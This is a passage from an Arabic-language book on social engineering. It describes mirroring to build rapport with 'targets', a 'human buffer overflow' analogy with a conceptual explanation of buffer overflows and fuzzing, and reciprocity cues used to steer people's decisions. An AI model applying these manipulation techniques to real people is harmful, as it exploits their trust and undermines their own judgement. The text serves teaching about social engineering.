‫اﻟﺣﯾﺎة اﻟﺗﻲ ﻏﯾرت اﻟطرﯾﻘﺔ اﻟﺗﻲ وﺿﻌت ﺑراﻣﺞ اﻟﺗﺟرﯾب‪ .‬اﻟذي روج ﻟﺷﻲء ﯾرﺗﺑط ﺑﺷدة ﻟﻣﺑدأ اﻟﻧﺳﺦ اﻟﻣﺗطﺎﺑﻖ‪ .‬إذا ﻛﻧت ﺳﻣﯾﻧﺎ وﻛﻧت ﻣﺟﺗﻣﻌﺎ‬
‫ﻓﻘط ﻣﻊ ﻣﺟﻣوﻋﮫ ﻣن اﻟﻧﺎس اﻟﺳﻣﺎن‪ ،‬ﻓﺎن ﻓرﺻﺔ اﻟﺗﻐﯾﯾر اﻟﺧﺎص ﺑك ھﻲ ﻣن ﺿﺋﯾﻠﺔ اﻟﻰ ﻻ ﺷﻲء‪ .‬ﻟﻣﺎذا؟ اﻟﺟواب ھو إﻧك ﺗﻛون ﻣرﺗﺎﺣﺎ ﻣﻊ‬
‫اﻟﻧﺎس اﻟﺳﻣﺎن واﻟذﯾن ھم أﯾﺿﺎ ﯾﺷﻌرون ﺑﺎﻟراﺣﺔ ﻣﻌﮫ‪ .‬إذا ﻛﻧت ﺗرﯾد ﺗﻐﯾﯾره‪ ،‬ﻓﺎﺟﻣﻌﮫ ﻣﻊ اﻟﻧﺎس ذات اﻟﺣﻣﯾﮫ اﻟﻐذاﺋﯾﺔ وھذا ﺳوف ﯾﻐﯾر ﻋﻘﻠﯾﺗﮫ‬
‫ﺑﺳرﻋﺔ‪.‬‬
‫ھذا اﻟﻣﺑدأ ھو ﻧﻔﺳﮫ ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻓﺎﻧت ﻻ ﺗرﯾد ﻣن أھداﻓك أن ﯾﻘوﻣوا ﺑﺈﺟراء ﺗﻐﯾﯾر ﻋﻠﻰ أﻧﻔﺳﮭم‪ ،‬ﻟذﻟك ﻋﻠﯾك أن ﺗﻛون ﻣﺛﻠﮭم‪ .‬ﺣﯾث‬
‫إﻧك ﺗرﯾدھم ان ﯾﺷﻌروا ﺑﺎﻟراﺣﺔ ﻣﻌك‪.‬‬
‫اﺧﺘﺒﺎر اﻟﻌﻼﻗﺔ )‪(Testing Rapport‬‬

‫ﺑﺎﺳﺗﺧدام ھذه اﻟﺗﻘﻧﯾﺎت اﻟﺑدﯾﻠﺔ ﻓﻲ ﺑﻧﺎء اﻟﻌﻼﻗﺔ ﻣﺛل ﻣطﺎﺑﻘﺔ ﻣﺳﺗوﯾﺎت اﻟطﺎﻗﺔ‪ ،‬وﺗﻌﺑﯾرات اﻟوﺟﮫ‪ ،‬وﻣﺎ ﺷﺎﺑﮫ ذﻟك ﯾﻣﻛﻧﮫ ﺑﻧﺎء ﻋﻼﻗﺔ ﻗوﯾﺔ ﻋﻠﻰ‬
‫ﻣﺳﺗوى واﻋﻲ‪.‬‬
‫ﺑﻌد ﻣﺣﺎوﻟﺔ ﺑﻌض ھذه اﻟﺗﻛﺗﯾﻛﺎت ﯾﻣﻛﻧك اﺧﺗﺑﺎر اﻟﻌﻼﻗﺔ اﻟﺧﺎﺻﺔ ﺑك ﻣن ﺧﻼل ﻗﯾﺎﻣك ﺑﺣرﻛﺗك‪ ،‬ﻣﺛل ﺧدش اﻟرأس أو ﻓرك اﻷذن اﻟﺧﺎﺻﺔ ﺑك‪،‬‬
‫ﻓﺈذا ﻛﺎن ﺧﻼل اﻟدﻗﯾﻘﺔ اﻟﺗﺎﻟﯾﺔ رأﯾت أن ھدﻓك ﯾﻘوم ﺑﺣرﻛﺔ ﻣﻣﺎﺛﻠﺔ رﺑﻣﺎ ﺗﻛون ﻗد وﺿﻌت ﻋﻼﻗﺔ ﻗوﯾﺔ‪.‬‬
‫ھذه اﻟﺗﻘﻧﯾﺎت ﯾﻣﻛﻧﮭﺎ إﺣداث اﻟﻣﻌﺟزات ﻓﻲ أﺟزاء ﻛﺛﯾرة ﻣن ﺣﯾﺎﺗك ﻋﻧد ﺗطوﯾر‪ ،‬ﺑﻧﺎء‪ ،‬وﺑدء اﻟﻌﻼﻗﺎت ﻣﻊ اﻵﺧرﯾن‪ .‬ﺗﻌﻠم ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﻣﺑﺎدئ‬
‫اﻟﻧﻔﺳﯾﺔ اﻟﻣدرﺟﺔ ﻓﻲ ھذا اﻟﻔﺻل ﯾﻣﻛن أن ﺗﺣدث ﻓرﻗﺎ ﻛﺑﯾرا ﻓﻲ اﻟﻣﻣﺎرﺳﺔ اﻟﺧﺎﺻﺔ ﺑك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﻟﺳﻧوات‪ ،‬ﻛﺎن ھﻧﺎك أﺳطورة أن‬
‫اﻟﻌﻘل اﻟﺑﺷري ﯾﻣﻛن إﻋﺎدة ﻛﺗﺎﺑﺗﮫ ﻣﺛل اﻟﺑرﻧﺎﻣﺞ‪.‬‬

‫‪The Human Buffer Overflow‬‬

‫اﻟﻛوب ﯾﻣﻛﻧﮫ ﻓﻘط ﺣﻣل اﻟﻛﺛﯾر ﻣن اﻟﺳواﺋل‪ .‬إذا ﻛﺎن ﻟدﯾك ‪ 8‬اوﻗﯾﺔ )اﻻوﻧﺻﺔ( ﻣن اﻟزﺟﺎج وﺣﺎوﻟت ﺻب ‪ 10‬أوﻗﯾﺔ ﻣن اﻟﺳواﺋل ﻓﻲ ذﻟك‪ ،‬ﻣﺎذا‬
‫ﺳﯾﺣدث؟ ﻓﺈﻧﮫ ﺳﯾﺗم اﻟﺗﺟﺎوز وﺳﻛب اﻟﺑﺎﻗﻲ ﻓﻲ ﻛل ﻣﻛﺎن‪ .‬إذا ﻛﻧت ﺗﺣﺎول إﺟﺑﺎر ﺣﺎوﯾﺔ ﻋﻠﻰ ﻣﻠﺋﮭﺎ أﻛﺛر ﻣﻣﺎ ھو ﻣﻔﺗرض أن ﺗﺗﻣﻛن ﻣن ﺣﻣﻠﮫ ﻓﻲ‬
‫ﻧﮭﺎﯾﺔ اﻟﻣطﺎف ﺳﯾﺗم ﻛﺳر اﻟزﺟﺎج ﺑﺳﺑب اﻟﺿﻐط‪.‬‬
‫ﺑراﻣﺞ اﻟﻛﻣﺑﯾوﺗر ﺗﻌﻣل ﺑطرﯾﻘﺔ ﻣﻣﺎﺛﻠﺔ‪ .‬ﺗﺧﯾل ﻟدﯾك ﺑرﻧﺎﻣﺞ ﺻﻐﯾر ﯾﺣﺗوي ﻋﻠﻰ ﻏرض واﺣد ﻓﻘط وﺣﻘﻠﯾن‪ :‬اﺳم اﻟﻣﺳﺗﺧدم وﻛﻠﻣﺔ اﻟﻣرور‪.‬‬
‫ﻋﻧدﻣﺎ ﯾﻔﺗﺢ اﻟﺑرﻧﺎﻣﺞ ﺗﺷﺎھد ﺷﺎﺷﺔ ﺻﻐﯾرة ﺣﯾث ﺗﻛﺗب ‪ admin‬ﻓﻲ ﺣﻘل اﺳم اﻟﻣﺳﺗﺧدم و‪ password‬ﻓﻲ ﺣﻘل ﻛﻠﻣﺔ اﻟﻣرور‪ .‬ﯾظﮭر ﻣرﺑﻊ‬
‫ﺻﻐﯾر ﯾﻘول"‪ ، "OK‬ﻣﻣﺎ ﯾدل ﻋﻠﻰ أن ﻛل ﺷﻲء ﺟﯾد‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪894‬‬

‫اﻟﻣطور ﺧﺻص ﻗدرا ﻣﻌﯾﻧﺎ ﻣن ﻣﺳﺎﺣﺔ اﻟذاﻛرة ﻟﺣﻘل اﺳم اﻟﻣﺳﺗﺧدم‪ ،‬ﻛﺎﻓﻲ ﻟﺣﻣل اﻟﻛﻠﻣﺔ ‪ admin‬ﺑﺿﻊ ﻣرات‪ .‬ﻣﺎذا ﯾﺣدث إذا وﺿﻌت ‪20‬‬
‫أﻟف ﻓﻲ ھذا اﻟﻣﺟﺎل‪ ،‬وﻧﻘرت ﻓوق ﻣواﻓﻖ؟‬
‫ﯾﺗﻌطل اﻟﺑرﻧﺎﻣﺞ وﯾﻌطﯾك رﺳﺎﻟﺔ ﺧطﺄ‪ .‬ﻟﻣﺎذا؟ ﻻن اﻟﻣدﺧﻼت اﻟﺗﻲ أدﺧﻠت أطول ﻣن اﻟﻣﺳﺎﺣﺔ اﻟﻣﺧﺻﺻﺔ وﻣن دون ﻣﻌﺎﻟﺟﺔ اﻟﺧطﺄ ﻓﺎن اﻟﺑرﻧﺎﻣﺞ‬
‫ﯾطرح اﺳﺗﺛﻧﺎء وﯾﺣدث ﺗﻌطل ﻟﻠﺑرﻧﺎﻣﺞ‪.‬‬
‫ھدف ﻗراﺻﻧﺔ اﻟﺑرﻣﺟﯾﺎت ھو اﻟﻌﺛور ﻋﻠﻰ اﻟﻌﻧوان اﻟذي ﺳوف ﯾﺗم اﺳﺗدﻋﺎء اﻟﺑرﻧﺎﻣﺞ أﻧﮫ ﻓﻲ ﺣﺎﻟﺔ ﺗﻌطل )‪ (crash‬وﻣن ﺛم إدراج اﻟﺷﻔرة‬
‫اﻟﺧﺑﯾﺛﺔ إﻟﻰ ھذا اﻟﻌﻧوان‪ .‬ﻣن ﺧﻼل اﻟﺗﺣﻛم ﻓﻲ ﺗدﻓﻖ اﻟﺗﻧﻔﯾذ‪ ،‬اﻟﮭﺎﻛر ﯾﻣﻛﻧﮫ اﺧﺑﺎر اﻟﺑرﻧﺎﻣﺞ "ﺑﺗﻧﻔﯾذ" أي ﺑرﻧﺎﻣﺞ ﯾرﻏب ﺑﮫ‪ .‬اﻧﮫ ﯾﻣﻛن ﺣﻘن اﻷواﻣر‬
‫ﻣن أي ﻧوع ﻓﻲ ﻣﺳﺎﺣﺔ اﻟذاﻛرة ﻟﮭذا اﻟﺑرﻧﺎﻣﺞ ﻷﻧﮫ ﯾﺳﯾطر ﻋﻠﯾﮫ اﻵن‪ .‬ﺑﻣﺛﺎﺑﺔ ﻛوﻧك ﻣﺧﺗﺑر اﻻﺧﺗراق ﻓﮭﻧﺎك ﺑﺿﻌﺔ أﺷﯾﺎء أﻛﺛر إﺛﺎرة ﻣن رؤﯾﺔ‬
‫ﺑرﻧﺎﻣﺞ ﯾﻧﻔذ اﻷواﻣر اﻟﺗﻲ ﺗﻘوﻟﮭﺎ‪.‬‬
‫اﻟﻌﻘل اﻟﺑﺷري ﯾﻘوم ﺑﺗﺷﻐﯾل "اﻟﺑرﻣﺟﯾﺎت" وﻋﻠﻰ ﻣر اﻟﺳﻧﯾن ﺗﻘوم ﺑﺑﻧﺎء ﻣﺟﻣوﻋﺎت اﻟﺗﻌﻠﯾﻣﺎت‪ ،‬اﻟﻣﺧﺎزن‪ ،‬وﻣﺳﺎﺣﺔ اﻟذاﻛرة ﺑداﺧل "ﺣزﻣﺔ اﻟﺑراﻣﺞ‬
‫اﻟﺧﺎﺻﺔ ﺑك"‪.‬‬
‫ﻗﺑل ﺗطﺑﯾﻖ ھذا ﻋﻠﻰ اﻟﻌﻘل اﻟﺑﺷري‪ ،‬ﻓﮭﻧﺎك ﺑﻌض اﻟﺗﻌرﯾﻔﺎت ﻟﺑﻌض اﻟﻣﺻطﻠﺣﺎت اﻟﻔﻧﯾﺔ ﺿرورﯾﺔ‪.‬‬
‫‪ -‬اﻟﻣﺧزن )‪ :(buffer‬ھو ﻣﺳﺎﺣﺔ ﻣن اﻟﻣﺳﺎﺣﺔ اﻟﻛﻠﯾﺔ اﻟﺗﻲ ﺗﻌطﻰ ﻟﺣدوث ﺷﻲء ﻣﺎ أو ﻟﻌﻘد اﻟﺑﯾﺎﻧﺎت‪ .‬ﻛﻣﺎ ﻓﻲ ﻣﺛﺎل ﻛوب ﻣن اﻟﻣﺎء‪ ،‬ﺣﯾث‬
‫ﺗﻌطﻰ ﺣﻘل ﻛﻠﻣﺔ اﻟﻣرور ﻣﺧزن )‪ ،(buffer‬واﻟذي ﯾﻣﺛل ﻋدد اﻷﺣرف اﻟﺗﻲ ﯾﺳﻣﺢ ﺑﮭﺎ‪ .‬إذا ﻛﺎن اﻟﻌدد أﻛﺑر ﻣن اﻟﻣﺧزن اﻟﺗﻲ ﺗم‬
‫ﺗﻌﯾﻧﻧﮫ ﻓﺎن اﻟﻣﺑرﻣﺞ ﯾﺣﺗﺎج اﻟﻰ ﻗول ﺷﻲء ﻟﻠﺑرﻧﺎﻣﺞ ﻟﻔﻌل ﺷﻲء ﻣﺎ ﻣﻊ اﻟﺑﯾﺎﻧﺎت اﻟﻣدرﺟﺔ اﻷﻛﺑر ﻣن اﻟﻼزم‪.‬‬
‫إذا ﻟم ﯾﻔﻌل‪ ،‬ﻓﺎﻧﮫ ﯾﺗم ﺗﻌطل ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر واﻟﺑرﻧﺎﻣﺞ ﯾﻐﻠﻖ‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺣدث ﻓﻲ اﻟﺧﻠﻔﯾﺔ ھو أن اﻟﺑرﻧﺎﻣﺞ ﻻ ﯾﻌرف ﻣﺎذا ﯾﻔﻌل ﻣﻊ ﺟﻣﯾﻊ اﻟﺑﯾﺎﻧﺎت‬
‫اﻟذي ﻓﺎﺿت ﻋن اﻟﻣﺳﺎﺣﺔ اﻟﻣﺧﺻﺻﺔ ﻟﮭﺎ‪ ،‬ﺗﺣطم اﻟﺑرﻧﺎﻣﺞ‪ ،‬واﻟﺧروج‪ .‬وﺑﺎﻟﺗﺎﻟﻲ ﻣﺻطﻠﺢ ﺗﺟﺎوز اﻟﺳﻌﺔ )‪.(buffer overflow‬‬
‫اﻟﻌﻘل اﻟﺑﺷري ﯾﻌﻣل ﺑطرﯾﻘﺔ ﻣﻣﺎﺛﻠﺔ‪ .‬ﺣﯾث ﯾﺗم ﺗﺧﺻﯾص ﻣﺳﺎﺣﺔ ﻟﺑﻌض ﻣﺟﻣوﻋﺎت اﻟﺑﯾﺎﻧﺎت‪ .‬إذا ﺣدث وان ﻣﺟﻣوﻋﮫ ﻣن اﻟﺑﯾﺎﻧﺎت ﻟم ﺗﻧﺎﺳب‬
‫اﻟﻣﺳﺎﺣﺔ اﻟﻣﺧﺻﺻﺔ‪ ،‬ﻣﺎذا ﯾﺣدث؟ ﻋﻠﻰ ﻋﻛس اﻟﻛﻣﺑﯾوﺗر‪ ،‬اﻟﻌﻘل ﻻ ﯾﺗﻌطل‪ ،‬ﻟﻛﻧﮫ ﯾﻔﺗﺢ ﻓﺟوة ﻟﺣظﯾﺔ ﺗﺳﻣﺢ ﺑﺣﻘن اﻻواﻣر ﺑﺣﯾث ﯾﻣﻛﻧﮭﺎ أن ﺗﻘول‬
‫ﻟﻠﻌﻘل ﻣﺎ ﯾﺟب اﻟﻘﯾﺎم ﺑﮫ ﻣﻊ اﻟﺑﯾﺎﻧﺎت اﻹﺿﺎﻓﯾﺔ‪.‬‬
‫ﺗﺟﺎوز ﺳﻌﺔ اﻟﻣﺧزن اﻟﺑﺷري ھو أﺳﺎﺳﺎ ﻧﻔس اﻟﻣﺑدأ‪ .‬اﻟﮭدف ھو ﺗﺣدﯾد "اﻟﺑرﻧﺎﻣﺞ" اﻟﺗﺷﻐﯾل وإدراج اﻟرﻣوز ﻓﻲ ھذا اﻟﺑرﻧﺎﻣﺞ اﻟﺗﻲ ﺳوف ﺗﺳﻣﺢ‬
‫ﻟك ﺑﺣﻘن اﻷواﻣر ﻓﻲ ﺟوھرھﺎ واﻟﺳﯾطرة ﻋﻠﻰ ﺣرﻛﺔ اﻟﻔﻛر ﻻﺗﺟﺎه ﻣﻌﯾن‪.‬‬
‫ﻻﺧﺗﺑﺎر ھذا اﻟﻣﻔﮭوم‪ ،‬ﻧﻠﻘﻲ ﻧظرة ﻋﻠﻰ اﻟﻣﺛﺎل ﻣﺑﺳط اﻟﺗﺎﻟﻰ )اﻧظر اﻟﻰ اﻟﺷﻛل اﻟﺗﺎﻟﻰ(‪.‬‬
‫ھذا ھو اﻟﺟوھر‪ .‬ﺣﺎول ﻗراءة ﻟون اﻟﻛﻠﻣﺔ‪ ،‬وﻟﯾﺳت اﻟﻛﻠﻣﺔ ﺑﺄﺳرع ﻣﺎ ﯾﻣﻛﻧك‪.‬‬

‫ھذه اﻟﻠﻌﺑﺔ ﻟﯾﺳت ﺳﮭﻠﺔ ﻛﻣﺎ ﺗﺑدو‪ .‬إذا ﻧﺟﺣت ﻣن ﺧﻼل اﻟﺣﺻول ﻋﻠﻰ ذﻟك‪ ،‬ﻓﺣﺎول أن ﺗﻘوم ﺑﻣﻣﺎرﺳﺔ ذﻟك أﺳرع وأﺳرع‪ .‬ﻣﺎذا ﺣدث ﻟﻠﻣﻌظم‪،‬‬
‫إن ﻟم ﯾﻛن ﻟﻠﻛل‪ ،‬ھو أﻧﮫ ﻣرة واﺣدة ﻋﻠﻰ اﻷﻗل ﺳوف ﺗﻘرأ اﻟﻛﻠﻣﺎت‪ ،‬وﻟﯾس اﻟﻠون‪ ،‬أو ﺗﺟد ﻧﻔﺳك ﺗﻛﺎﻓﺢ ﻣن ﺧﻼل ذﻟك‪.‬‬
‫ﻟﻣﺎذا ﻟدﯾﻧﺎ ﻣﺛل ھذا اﻟوﻗت اﻟﺻﻌب ﻣﻊ ھذا اﻟﺗﻣرﯾن؟ ذﻟك ﺑﺳﺑب ﺣﻘن اﻷواﻣر‪ .‬أدﻣﻐﺗﻧﺎ ﺗرﯾد ﻗراءة اﻟﻛﻠﻣﺎت ﻻ اﻷﻟوان‪ .‬إﻧﮭﺎ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﺳﻠﻛﮭﺎ‬
‫اﻟﻌﻘل اﻟﺑﺷري‪ .‬دﻣﺎﻏﻧﺎ ﯾرى اﻟﻠون وﻟﻛﻧﮫ ﯾﺗﻔﺎﻋل ﻣﻊ اﻟﻛﻠﻣﺔ اﻟﻣﻛﺗوﺑﺔ أوﻻ‪ .‬ﻟذﻟك‪ ،‬ﻓﺈن اﻟﻔﻛر ﻓﻲ ﻋﻘوﻟﻧﺎ ھﻲ اﻟﻛﻠﻣﺔ وﻟﯾس اﻟﻠون‪ .‬ﺗظﮭر ھذه‬
‫اﻟﻌﻣﻠﯾﺔ وﺟود "ﺷﻔره" ﺗم ﺗﻧﻔﯾذھﺎ ﻓﻲ اﻟﻌﻘل اﻟﺑﺷري اﻟﺗﻲ ﻗد ﺗﻛون ﻋﻛس ﻣﺎ ﯾﻔﻛر ﺑﮫ اﻟﺷﺧص أو ﯾراه ﻣﻣﻛﻧﺎ‪.‬‬
‫وﺿﻊ اﻟﻘﻮاﻋﺪ اﻷﺳﺎﺳﯿﺔ )‪(Setting the Ground Rules‬‬
‫ﻓﻲ ﺑﺣث ﺑﻌﻧوان ﺗﻌدﯾل اﻟﻛﻠﻣﺔ اﻟﻣﺳﻣوﻋﺔ واﻟﻣرﺋﯾﺔ )‪(http://www.prometheus-inc.com/asi/multimedia1998/papers/covell.pdf‬‬
‫اﻟﺑﺎﺣﺛون ﻣﯾﺷﯾل ﻛوﻓﯾل‪ ،‬ﻣﺎﻟﻛوﻟم ﺳﻼﻧﻲ‪ ،‬ﻛرﯾﺳﺗوف ﺑرﯾﺟﻠﯾر‪ ،‬وﻣﺎرﻏرﯾت وﯾﺛﺟوت ذﻛروا ﺣﺎﻟﮫ أن اﻟﻌﻠﻣﺎء أﺛﺑﺗت أن اﻟﻧﺎس ﯾﺗﺣدﺛون ‪ 150‬ﻛﻠﻣﺔ‬
‫ﻓﻲ اﻟدﻗﯾﻘﺔ وﻟﻛﻧﮭم ﯾﻔﻛروا ﻓﻲ ‪ 600-500‬ﻛﻠﻣﺔ ﻓﻲ اﻟدﻗﯾﻘﺔ‪ .‬وھذا ﯾﻌﻧﻲ أن ﻣﻌظم اﻟﻧﺎس اﻟﺗﻲ ﺗﺗﺣدث ﻣﻌﮭم ﯾﻣﻛﻧﮭم اﻟﻘﻔز ﺣول اﻟﻣﺣﺎدﺛﺎت اﻟﺧﺎﺻﺔ‬
‫ﺑك ﻓﻲ رؤوﺳﮭم‪ .‬ﻟذﻟك ﻓﺎن اﻓﺎﺿﺔ اﻟﻌﻘل ﻣن ﺧﻼل اﻟﺧطﺎب اﻟﺳرﯾﻊ ﯾﺑدو ﺷﺑﮫ ﻣﺳﺗﺣﯾل‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪895‬‬

‫ﯾﺟب أن ﻧﻔﮭم أﯾﺿﺎ ﻛﯾف ﯾﺟﻌل اﻟﻧﺎس اﻟﻘرارات ﻓﻲ ﺣﯾﺎﺗﮭم‪ .‬اﻟﻧﺎس ﺗﺟﻌل ﻣﻌظم ﻗراراﺗﮭم ﺷﻌورﯾﺎ‪ ،‬ﺑﻣﺎ ﻓﻲ ذﻟك ﻛﯾف ﯾﻘودون ﺳﯾﺎراﺗﮭم إﻟﻰ‬
‫اﻟﻌﻣل‪ ،‬اﻟﺣﺻول ﻋﻠﻰ اﻟﻘﮭوة‪ ،‬ﺗﻧظﯾف أﺳﻧﺎﻧﮭم‪ ،‬وﻣﺎ ھﻲ اﻟﻣﻼﺑس اﻟﺗﻲ ﺳوف ﯾرﺗدوﻧﮭﺎ ﻣن دون اﻟﺗﻔﻛﯾر ﺣﻘﺎ ﻋن ھذا‪.‬‬
‫ھل ﺻﺎدﻓت ﯾوﻣﺎ ان ﻗﻣت ﺑﺎﻟﻘﯾﺎدة اﻟﻰ ﻋﻣﻠك وﻋﻧدﻣﺎ ﺗﺻل اﻟﻰ ھﻧﺎك‪ ،‬ﻛﻧت ﻻ ﺗﺳﺗطﯾﻊ ﺗذﻛر ﻣﺎ اﻟﻠوﺣﺎت اﻹﻋﻼﻧﯾﺔ اﻟﺗﻲ ﻣررت ﺑﮭﺎ‪ ،‬ﻣﺎ اﻟطرﯾﻖ‬
‫اﻟذي أﺧذﺗﮫ أو ﺣﺎدث ﺳﯾر اﻟذي ذﻛر ﻓﻲ اﻷﺧﺑﺎر؟ ﺣﯾث ﺗﻛون ﻓﻲ ﺣﺎﻟﺔ ذھﻧﯾﺔ ﺣﯾث ﯾﺄﺧذ اﻟﻼوﻋﻲ اﻟﺧﺎص ﺑك ﻣرارا ﺑزﻣﺎم اﻷﻣور وﯾﻔﻌل ﻣﺎ‬
‫ﯾﻔﻌﻠﮫ داﺋﻣﺎ دون ان ﯾﻔﻛر ﺑوﻋﻲ ﺣول ﻛل ﻣﻧﻌطف‪.‬‬
‫ﻣﻌظم اﻟﻘرارات ﺗﺟﻌل اﻟﻧﺎس ﻣن ھذا اﻟﻘﺑﯾل‪ .‬ﺑﻌض اﻟﻌﻠﻣﺎء ﯾﻌﺗﻘدون ان اﻟﻧﺎس ﯾﺗﺧذون اﻟﻘرارات ﺗﺻل إﻟﻰ ﺳﺑﻊ ﺛوان ﻓﻲ اﻟﻌﻘل اﻟﺑﺎطن ﻓﻲ وﻗت‬
‫ﺳﺎﺑﻖ ﻣن ﻗﺑل أن ﯾﺟﻌﻠﮭﺎ ﻓﻲ اﻟﻌﺎﻟم اﻟﺣﻘﯾﻘﻲ‪ .‬ﻋﻧدﻣﺎ ﯾﻘوم اﻟﻧﺎس أﺧﯾرا ﺑﺎﺗﺧﺎذ ﻗرار واع ﻓﺎﻧﮫ ﯾﻔﻌل ذﻟك أﻛﺛر ﻣن ﻣﺟرد ﻣﺎ ﯾﺳﻣﻊ‪-‬ﺣﯾث أن‬
‫اﻟﺑﺻﯾرة‪ ،‬اﻟﺷﻌور واﻟﻌواطف ﺗﺻﺑﺢ ﻣﺷﺎرﻛﺔ ﻓﻲ اﻟﻘرار‪.‬‬
‫ﻓﮭم ﻛﯾﻔﯾﺔ ﻋﻣل اﻟﺑﺷر وﺗﻔﻛﯾرھم ﯾﻣﻛﻧﮭﺎ ان ﺗﺻﺑﺢ أﺳرع طرﯾﻘﺔ ﻟﺧﻠﻖ ﺗﺟﺎوز ﻓﻲ ﺳﻌﺔ اﻟﻣﺧزن اﻟﻣؤﻗت )‪ ،(buffer overflow‬أو ﺗﺟﺎوز‬
‫اﻟﺑراﻣﺞ اﻟطﺑﯾﻌﯾﺔ ﻟﻠﻌﻘل اﻟﺑﺷري ﺣﺗﻰ ﺗﺗﻣﻛن ﻣن ﺣﻘن اﻷواﻣر‪.‬‬
‫‪Fuzzing the Human OS‬‬
‫ﻓﻲ ﻗرﺻﻧﺔ اﻟﺑرﻣﺟﯾﺎت اﻟﻔﻌﻠﯾﺔ‪ ،‬ﯾﺗم اﺳﺗﺧدام طرﯾﻘﺔ ﺗﺳﻣﻰ اﻟﺗﺿﺑﯾب )‪ (fuzzing‬ﻟﻠﻌﺛور ﻋﻠﻰ اﻷﺧطﺎء اﻟﺗﻲ ﯾﺗم إﻋﺎدة ﻛﺗﺎﺑﺗﮭﺎ وإﻋطﺎء اﻟﺳﯾطرة‬
‫ﻟﻠﮭﺎﻛر اﻟﺧﺑﯾث‪ .‬اﻟﺗﺿﺑﯾب )‪ (fuzzing‬ھو اﻟﻣﻛﺎن اﻟذي ﯾﻘوم ﻓﯾﮫ اﻟﮭﺎﻛر ﺑﺈﻟﻘﺎء ﺑﯾﺎﻧﺎت ﻋﺷواﺋﯾﺔ ﻓﻲ اﻟﺑرﻧﺎﻣﺞ ﺑﺄطوال ﻣﺧﺗﻠﻔﺔ ﻟﯾرى ﻣن ﻣﻧﮭم ﯾﻘوم‬
‫ﺑﺗﻌطﯾل اﻟﺑرﻧﺎﻣﺞ‪ ،‬ﻷﻧﮫ ﻻ ﯾﻣﻛن اﻟﺗﻌﺎﻣل ﻣﻊ اﻟﺑﯾﺎﻧﺎت‪ .‬واﻟذي ﯾﻌطﻲ ﻣﺳﺎر ﻟﻠﻘراﺻﻧﺔ ﻟﺣﻘن اﻟﺷﻔرات‪/‬اﻷﻛواد اﻟﺧﺑﯾﺛﺔ‪.‬‬
‫ﺗﻣﺎﻣﺎ ﻣﺛل ﺗﺿﺑﯾب )‪ (fuzzing‬اﻟﺑراﻣﺞ‪ ،‬ﯾﺟب أن ﻧﻔﮭم ﻛﯾف ﯾﺗﻔﺎﻋل اﻟﻌﻘل اﻟﺑﺷري ﻣﻊ أﻧواع ﻣﻌﯾﻧﺔ ﻣن اﻟﺑﯾﺎﻧﺎت‪ .‬ﻋرض اﻟﻧﺎس ﻣﻊ ﻣﺟﻣوﻋﺎت‬
‫ﻣﺧﺗﻠﻔﺔ ﻣن اﻟﻘرارات أو ﻣﺟﻣوﻋﺎت ﻣﺧﺗﻠﻔﺔ ﻣن اﻟﺑﯾﺎﻧﺎت‪ ،‬ﺛم ﻧرى ﻛﯾف ﯾﺗﻔﺎﻋﻠون ﻣﻌﮭﺎ ﯾﻣﻛن أن ﯾﺧﺑرﻧﺎ "اﻟﺑرﻧﺎﻣﺞ" ﻗﯾد اﻟﺗﺷﻐﯾل‪ .‬ﻗواﻧﯾن ﻣﻌﯾﻧﺔ‬
‫ﻓﻲ اﻟﻌﻘل اﻟﺑﺷري واﻟﺗﻲ ﯾﺑدو أﻧﮭﺎ ﻣﺗﺄﺻﻠﺔ ﯾﺗﺑﻌﮭﺎ اﻟﺟﻣﯾﻊ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا اﻗﺗرﺑت ﻣن ﻣﺑﻧﻰ ذات ﻣﺟﻣوﻋﺗﯾن ﻣن اﻷﺑواب )واﺣد ﻓﻲ اﻟﺧﺎرج وأﺧر ﻓﻲ اﻟداﺧل( ﺛم أﻣﺳﻛت ﺑﺎﻟﻣﺟﻣوﻋﺔ اﻷوﻟﻰ‬
‫ﻟﺗﻔﺗﺣﮫ ﻟﺷﺧص ﻏرﯾب ﺗﻣﺎﻣﺎ‪ ،‬ﻣﺎذا ﺗﻌﺗﻘد اﻧﮫ ﺳوف ﯾﻔﻌل ﺑﻌد ذﻟك؟ إﻣﺎ أﻧﮫ ﺳوف ﯾﻘوم ﺑﺈﻣﺳﺎك اﻟﻣﺟﻣوﻋﺔ اﻟﺗﺎﻟﯾﺔ ﻟﯾﻔﺗﺣﮫ ﻟك أو اﻟﺗﺄﻛد ﻣن أن‬
‫اﻟﻣﺟﻣوﻋﺔ اﻷوﻟﻰ ﺳوف ﺗﺑﻘﻰ ﻣﻔﺗوﺣﺔ ﺣﺗﻰ ﺗﺣﺻل اﻟﻰ اﻟداﺧل‪.‬‬
‫إذا ﻛﻧت ﻓﻲ طﺎﺑور ﻣزدﺣم ﺛم ﺳﻣﺣت ﻟﺷﺧص ﻏرﯾب ﺗﻣﺎﻣﺎ أن ﯾﺄﺗﻲ أﻣﺎﻣك‪ ،‬ﻓﻌﻠﻰ اﻷرﺟﺢ إذا ﻛﻧت ﻓﻲ ﺣﺎﺟﺔ إﻟﻰ اﻟدﺧول ﻓﻲ اﻟطﺎﺑور ﻓﻲ وﻗت‬
‫ﻻﺣﻖ ﻓﺄﻧﮫ ﺳوف ﯾﺳﻣﺢ ﻟك ﺑﺎﻟدﺧول ﻣن دون ﺣﺗﻰ اﻟﺗﻔﻛﯾر‪ .‬ﻟﻣﺎذا؟‬
